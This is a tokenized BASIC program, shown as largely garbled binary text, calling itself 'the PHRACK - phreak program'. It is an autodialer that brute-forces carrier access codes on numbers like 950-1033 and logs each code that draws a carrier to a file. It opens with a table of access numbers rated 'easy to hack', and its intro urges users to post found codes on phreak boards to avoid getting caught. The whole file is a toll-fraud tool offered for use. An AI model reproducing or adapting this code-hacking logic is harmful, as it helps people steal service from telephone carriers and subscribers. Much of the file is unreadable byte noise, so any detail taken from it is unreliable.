ÿÿ � BASENUM's # of DIGITS Gripes)� ---------- ----------- ------\� 950-0220 123456 gives fake carrier‰(� 950-0777 12345678 hard to hack¥2� or 1800 332-0777Ò<� 450-5850 12345 easy to hackF� 950-1033 123456 fairly easy to hack)P� 1800638-1996 123456 okLZ� 1800446-4462 123456 okRd�dn† RNDCODE()nx¿ ,³‚FALSEç:TRUEç:FLAGçFALSE:BIGCODEçFALSE:SPEAKERçTRUE:CLOCKçFALSE÷Œ� ==================== MAIN PROGRAM ========================–À :É Ý � ¤ :�Ùintro;ª� l :�Ùdefaults -read data|´À:… "defaults o.k.? (Y)";OT$:‹ OT$ç"N"ï OT$ç"n" Í ¾ :¡ Èš¾� $ :�Ùdialing info¸È� ê :�Ùdialing displayÁÒE$çÞøÜ ‹ E$ç"b" ï E$ç"B" Í Ê , :‘ " ->":� , :‰ "/æ ‹ E$ç"c" ï E$ç"C" Í Ê , :‘ " ->":� , :‰ ¾fð ‹ E$ç"S" ï E$ç"s" Í Ê , :‘ " ->":�  :‰ Èžú ‹ E$ç"Q" ï E$ç"q" Í Ê , :‘ " ->":� , :‰ @¶‹ FLAGçTRUE Í ‰ "  ‹ E$ç"a" ï E$ç"A" Í Ê , :FLAGçTRUE:‘ " ->" :� , :‰ "‰ Ò="‹ CLOCKçTRUE Í ‹ ENDTIME$ è þŽ Í À:�o, � î :�Ùdialing nitty gritty malitty stuffy6‰ È®@… "Do you want to save parameters (Y or N)";ANS$ÐJ‹ ANS$ç"y" ï ANS$ç"Y" Í ‰ hT� ================ end ==================================^‰ šRhº "dialcomm.inf" ‚ OUTPUT AS#:‘#,DIALCOMM$:»#‡rº "basenum.inf" ‚ OUTPUT AS#:‘#,BASENUM$ :»#Ç|º "comma.inf" ‚ OUTPUT AS#:‘#,ÿ–(")éCOMMA$éÿ–("):»#ü†º "currcode.inf" ‚ OUTPUT AS#:‘#,CURRCODE$:»#1�º "carrier.inf" ‚ OUTPUT AS#:‘#,CARRIER$ :»#8šþƒy¤� ================== Intro Stuff ========================©®‘ "Welcome to the PHRACK - phreak program."Ö¸‘ " For phone phreakers of all ages."#‘ "This program was designed for an IBM pc with a Hayes internal modem."bÌ‘:‘ "For this program to work successfully we need to knowzÖ‘ "several things;"�à‘"ºê‘ " 1) The dialing command for your modemþô‘ " 2) The base number for the co. i.e. 950-1033Šþ‘ " 3) The number of comma's OR TIME DELAY FOR CODE 1COMMA=2SEC's"Ä‘ " 4) The starting code, and ending code.ï‘ " 5) The carrier number."ö‘"@&‘ "The carrier number has to be a number that will answer the phone "Š0‘ "with a carrier EVERY time. you can use ULTRA.EXE from Comworx. OR"Ò:‘ "use this prog. OR find the number of a pathetic BBS and use it." D‘" POST THE NUMBERS YOU FIND ON A PHREAK BOARD"UN‘ " Remember:Posting and sharing decreases the chance of a single "vX‘ "phreaker getting caught."|b޼l� ================= Default Routine ====================Âv�ü€º"com1:" AS # :‘ #,"AT S11=50":‘ #,"AT S7=60":» # Š• § ‰ ¨L” º"DIALCOMM.INF" ‚ … AS#:…#,DIALCOMM$ :�ÙGet Dial CommandXž ‰ ¼~¨»#:º"DIALCOMM.INF" ‚ OUTPUT AS#ò DIALCOMM$ç"ATDT":‘#,"ATDT" :¨ ƒ :�ÙCreate Dial Command˼»#ÑÆ�ßЕ § ‰ îÚ º"BASENUM.INF" ‚ … AS#:…#,BASENUM$ :�ÙGet Base Number+ä ‰ Pî»#:º"BASENUM.INF" ‚ OUTPUT AS#•ø BASENUM$ç"950-1033":‘#,"950-1033" :¨ ƒ :�ÙCreate Base Number�»#£ �±• § ‰ 4ó  º "COMMA.INF" ‚ … AS#:…#,COMMA$ :�ÙGet Comma Listý*‰ H!4» #:º"COMMA.INF" ‚ OUTPUT AS#b> COMMA$ç",,,,,":‘#,ÿ–(+)é",,,,,"éÿ–(+):¨ ƒ:�ÙCreate CommajH»#pR�~\• § ‰ „Âf º"CURRCODE.INF" ‚ … AS# :�ÙLoad previous codeÖp …#,CURRCODE$ãz ‰ ˜ „ »#:º"CURRCODE.INF" ‚ OUTPUT AS#HŽ CURRCODE$ç"000000":‘#,"000000" :¨ ƒ :�ÙCreate codeQ˜» #W¢�e¬• § ‰ Ê£¶»#:º"CARRIER.INF" ‚ … AS# :…#,CARRIER$ :�ÙGet Carrier®À ‰ ÞÓÊ»#:º"CARRIER.INF" ‚ OUTPUT AS#Ô CARRIER$ç"414-964-5160" :‘#,"414-964-5160" :¨ ƒ :�ÙCreate Car*Þ• § ‰ :» #=è• § ‰ :» #wòÊ ,:‘ "press or to continue"¤üE$çÞ:‹ E$ç" " Í  :¡ ‹ E$çÿ–( ) Í ®‰ ü´�ºŽü$� ================= DIAL COMMAND info ====================; .À:‘ " Now we need to know that information as outlined] 8‘" on the previous page."Ž BÊ , :‘ "The Current DIALING COMMAND is '";­ L¿ :‘ DIALCOMM$;:¿ :‘ "'"Ü V¿ :Ê , :‘ "Shall we keep it (Y or N)->"!`E$çÞ:‹ E$ç"y" ï E$ç"Y" Í œ :¡ ‹ E$ç"n" ï E$ç"N" Í t"!j‰ `D!tÊ ,& :¿ :‘ "NO" :¿ :� , j!~»#:º"DIALCOMM.INF" ‚ OUTPUT AS#­!ˆ‘:… " Then what do you want it to be ";DIALCOMM$:‘#,DIALCOMM$»!’»#:‰ °Ü!œÊ ,& :¿ :‘"YES":¿ :� , â!¦�#"°� ----------------= BASE NUMBER =-------------------------b"ºÀ:‘ " Now we need to know that information as outlined«"Ä‘" on the first page. Please answer 'Y' or 'N' for the Question"Ø"ÎÊ , :‘ "The Current BASE NUMBER is ";ï"Ø¿ :‘ BASENUM$:¿ #â¿ :Ê , :‘ "Shall we keep it (Y or N)->"Z#ìE$çÞ:‹ E$ç"y" ï E$ç"Y" Í ( :¡ ‹ E$ç"n" ï E$ç"N" Í d#ö‰ ì†#Ê ,& :¿ :‘ "NO" :¿ :� , «# »#:º"BASENUM.INF" ‚ OUTPUT AS#ì#‘:… " Then what do you want it to be ";BASENUM$:‘#,BASENUM$û#» #:‰ <$(Ê ,& :¿ :‘"YES":¿ :� , "$2�c$<� ----------------= COMMA's =----------------------------¢$FÀ:‘ " Now we need to know that information as outlinedë$P‘" on the first page. Please answer 'Y' or 'N' for the Question"&%ZÊ , :‘ "The Current list of COMMA's is '";COMMA$;"'"U%d¿ :Ê , :‘ "Shall we keep it (Y or N)->"‘%nE$çÞ:‹ E$ç"y" ï E$ç"Y" Í ´ :¡ ‹ E$ç"n" ï E$ç"N" Í ‚›%x‰ n½%‚Ê ,& :¿ :‘ "NO" :¿ :� , à%Œ»#:º"COMMA.INF" ‚ OUTPUT AS#&–‘:‘" Make sure you use Quotes. I.E."éÿ–(")é",,,,"éÿ–(")P& ‘:… " Then what do you want it to be ";COMMA$x&ª‘ #,ÿ–(")éCOMMA$éÿ–("):»#:‰ È™&´Ê ,& :¿ :‘"YES":¿ :� , Ÿ&¾�à&È� ----------------= CODE =--------------------------------'ÒÀ:‘ " Now we need to know that information as outlinedh'Ü‘" on the first page. Please answer 'Y' or 'N' for the Question"�'æÊ , :‘ "The Current CODE is ";¥'ð¿ :‘ CURRCODE$:¿ Ô'ú¿ :Ê , :‘ "Shall we keep it (Y or N)->"(E$çÞ:‹ E$ç"y" ï E$ç"Y" Í J :¡ ‹ E$ç"n" ï E$ç"N" Í (‰ <(Ê ,& :¿ :‘ "NO" :¿ :� , b("»#:º"CURRCODE.INF" ‚ OUTPUT AS#¥(,‘:… " Then what do you want it to be ";CURRCODE$:‘#,CURRCODE$Þ(6‹ ÿ’(CURRCODE$) æ Í ‘ "no more than 9 digits":‰ ,ì(@»#:‰ ^ )JÊ ,& :¿ :‘"YES":¿ :� , )T�T)^� ----------------= CARRIER =-----------------------------“)hÀ:‘ " Now we need to know that information as outlinedÛ)r‘" on the first page. Please answer 'Y' or 'N' for the Question*|Ê , :‘ "The Current CARRIER is ";*†¿ :‘ CARRIER$:¿ K*�¿ :Ê , :‘ "Shall we keep it (Y or N)->"‡*šE$çÞ:‹ E$ç"y" ï E$ç"Y" Í Ö :¡ ‹ E$ç"n" ï E$ç"N" Í ®‘*¤‰ š³*®Ê ,& :¿ :‘ "NO" :¿ :� , Ø*¸»#:º"CARRIER.INF" ‚ OUTPUT AS#+‘:… " Then what do you want it to be ";CARRIER$:‘#,CARRIER$(+Ì» #:‰ ^I+ÖÊ ,& :¿ :‘"YES":¿ :� , O+àŽ‘+ê� ================= Dialing DISPLAY =========================—+ôÀŸ+þ¿ Û+Ê , :‘ "These are the current information parameters"ã+¿ ,Ê , :‘ "DIALING COMMAND",&Ê ,:‘ "BASE NUMBER"I,0Ê ,0:‘ "COMMA's (or 2 second delays)"d,:Ê ,:‘ "CURRENT CODE"‚,DÊ ,:‘ "CARRIER NUMBER"´,N‹ RANDOMçTRUE Í Ê  ,:‘"Randomize -==-"¼,X¿ Ò,bÊ ,:‘ DIALCOMM$è,lÊ ,:‘ BASENUM$ü,vÊ ,4:‘ COMMA$-€Ê ,:‘ CURRCODE$(-ŠÊ ,:‘ CARRIER$5-”» :¿ ,[-žÊ ,:‘ " uto Dialing "q-¨‹ FLAGçTRUE Í Ú—-²Ê ,:‘ " egin Dialing "½-¼Ê ,:‘ " hange parameters "ã-ÆÊ ,:‘ " pecial Features " .ÐÊ ,:‘ " uit to DOS ".Ú¿ ,.äŽY.î� ========--Actual nitty gritty dialing --=================|.ø Ê ,-:‘ "Current Status :";˜.¿ :Ê ,>:‘ "Dialing"«. º"COM1:" AS #å.DIALINE$çDIALCOMM$éBASENUM$éCOMMA$éCURRCODE$éCARRIER$ö. ‘#,DIALINE$6/*� ================ Carrier Detect Loop =================^/4¿ :Ê ,>:‘ "Waiting-Carrier":¿ Œ/>¿ :Ê ,7:‘ "Hit to Abort call":¿ ½/H¿ :Ê ,7:‘ "Hit to stop Autodial":¿ â/R¿ ,:Ê ,7:‘ "TIMEOUT:":¿ ,ó/\‚ XRç Ì LT0fE$çÞ:‹ E$ç"A" ï E$ç"a" Í ¿ :Ê ,>:‘ #,"ATH": ‘ "ABORT ":� , :¿ :‰ ¶º0p‹ E$ç"S" ï E$ç"s" Í ¿ :Ê ,>:FLAGçFLASE:‘ #,"ATH": ‘ "STOP AUTODIAL ":� , :¿ :‰ ¶É0zHXFE ç þÛ0„CD ç ÿ�(HXFE)ì0ŽCD ç CD î €1˜‹ CD ç € Í º :�Ùsave the darn thing!-1¢Ê ,@:‘ LêXR61¬ƒ XRu1¶� ----------------= Increment Routine =-----------------�1À¿ :Ê ,>:‘ "Increment Code ":¿ Ø1Ê‹ RANDOMçTRUE Í �  :‰ ü :�Ùrandom generator 2Ô‹ ÿ’(CURRCODE$)æ Í � ˆ :‰ ü :�Ùbigcode 2Þ Xçÿ”(CURRCODE$)02è XçXéM2ò CURRCODE$çÿƒ(ÿ“(X),)S2üŽ}2 � ----Random?----Bigcode?------------†2 ¹ þ” 2 CODELENçÿ’(CURRCODE$)±2$ CURRCODE$ç""É2. ‚ LOOPç  Ì CODELENè28 RNDCODE(LOOP)çÿ…(ÿˆë(é))ó2B ƒ LOOPù2L �3V ‚ LOOPç  Ì CODELENA3` CURRCODE$çCURRCODE$éÿƒ(ÿ“(RNDCODE(LOOP)),)L3j ƒ LOOPR3t Ž�3~ � ----------===Bigcode (more than 8 char's)===----------»3ˆ BIGCODEçTRUE:LEFTCODE$çÿ�(CURRCODE$,)Ú3’ RIGHTCODE$çÿƒ(CURRCODE$,)4œ Xçÿ”(RIGHTCODE$):XçXé:RIGHTCODE$çÿ“(X)54¦ CURRCODE$çÿƒ(LEFTCODE$,)éÿƒ(RIGHTCODE$,);4° Ž{4º � ================= SAVE CODE BABY! =====================¤4Ä ¿ :Ê ,>:‘ "Carrier Detect ":¿ ¶4Î ‘ #,"ATH"Ù4Ø º"C:NUMBERS" ‚ APPEND AS #þ4â ‘ #,BASENUM$,CURRCODE$,þ�,þŽ5ì � ¶ :�Ùincrement5ö Žb5 � =================== Special Features =========================h5 �¯5 À:‘"================= Special Features =========================ñ5 Ê , :‘" Randomize Codesearch (On AUTODIAL mode only)"6( Ê , :‘" PEAKER ON or OFF"C62 Ê , :‘" ATE NIGHT CALLING- SET TIMER"[6< Ê , :‘" Quit"|6F E$çÞ:‹ E$ç"r" ï E$ç"R" Í x ¶6P ‹ E$ç"S" ï E$ç"s" Í º "COM1:" AS #:‘#,"ATM":»:‰   Ò6Z ‹ E$ç"L" ï E$ç"l" Í | î6d ‹ E$ç"q" ï E$ç"Q" Í æ ø6n ‰ F 7x ‹ RANDOMçTRUE Í Œ :¡ ‚ i7‚ Ê  , :‘ "Randomize Special Feature -==- ":RANDOMçTRUE :‰ Ü ª7Œ Ê  , :‘ "Randomize Special Feature -==-":RANDOMçFALSE´7– ‰ Ü Õ7  ‹ SPEAKERçFALSE Í ª :¡ È 8ª Ê  , :‘ "Modem Speaker -==-":SPEAKERçTRUE.8´ º "COM1:" AS #:‘#,"ATM1":» #88¾ ‰ Ü o8È Ê  , :‘ "Modem Speaker -==-":SPEAKERçFALSE’8Ò º "COM1:" AS #:‘#,"ATM":» #¢8Ü � ú :‰  ¨8æ Žï8ð �---------------------- Delay subroutines ------------------------9ú ‚ Xç  Ì d: ƒ X9 ‚ Xç  Ì d: ƒ X.9 ‚ Xç  Ì d: ƒ XC9 ‚ Xç  Ì d: ƒ XX9" ‚ Xç  Ì d: ƒ Xm9, ‚ Xç  Ì d: ƒ X‚96 ‚ Xç  Ì d: ƒ X—9@ ‚ Xç  Ì d: ƒ X¬9J ‚ Xç  Ì d: ƒ XÁ9T ‚ Xç  Ì d: ƒ XÖ9^ ‚ Xç  Ì d: ƒ XÝ9h Ž':r � =-=-=-=-=-=-=-=-=-=-=-=-> TIMER ROUTINE <-=-=-=-=-=-=-=-=-=-=-=-=-=F:| À:Ê ,:‘ "TIMER ROUTINE"’:† ‘:‘:‘"The timer will just turn the AUTODIAL command ON at at set time."á:� ‘:‘"Are you sure the current parameters are the ones you are happy with ?";š ‘:‘" Hit 'Y' or 'N'"T;¤ E$çÞ:‹ E$ç"y" ï E$ç"Y" Í ¸ :¡ ‹ E$ç"n" ï E$ç"N" Í  ^;® ‰ ¤ ˆ;¸ Ê ,& :¿ :‘"YES":¿ :� , :À:‰ Ì ±;Â Ê ,& :¿ :‘ "NO" :¿ :� , :‰ ÈÚ;Ì Ê ,:‘ "Make Sure TIME is correct"þ;Ö Ê ,:‘ "The time is......";þŽ.<à ¿ :Ê  , :‘ "Shall we keep it (Y or N)->"j<ê E$çÞ:‹ E$ç"y" ï E$ç"Y" Í  :¡ ‹ E$ç"n" ï E$ç"N" Í þ t<ô ‰ ê —<þ Ê  ,& :¿ :‘ "NO" :¿ :� , Ï< Ê  ,:…"Then what do you want it to be ";CHNGTIME$æ< þŽçCHNGTIME$:‰ 0 = Ê  ,& :¿ :‘"YES":¿ :� , =& �K=0 Ê ,:° … "Enter AUTOmatic AUTODIAL turn ON >";STRTIME$ˆ=: Ê ,:° … "Enter AUTOmatic AUTODIAL turn OFF>";ENDTIME$µ=D Ê ,:… "Is this correct (Y OR N) ";CO$×=N ‹ CO$ç"n" ï CO$ç"N" Í À:‰ | 6>X À:Ê ,:‘"When the time equals your set time, dialing will begin at your set parameters."`>b Ê  ,:‘"Begin Dialing at ";STRTIME$Š>l Ê  ,:‘" End Dialing at ";ENDTIME$Â>v Ê , :‘ "screen clears to prevent screen burn-in"ã>€ ‹ þŽ è STRTIME$ Í Š :¡ ¨ ó>Š TIMçTIMé?” ‹ TIMç¸ Í À?ž ‰ € ?¨ �>?² CLOCKçTRUE:FLAGçTRUE:SPEAKERçFALSEH?¼ ‰ È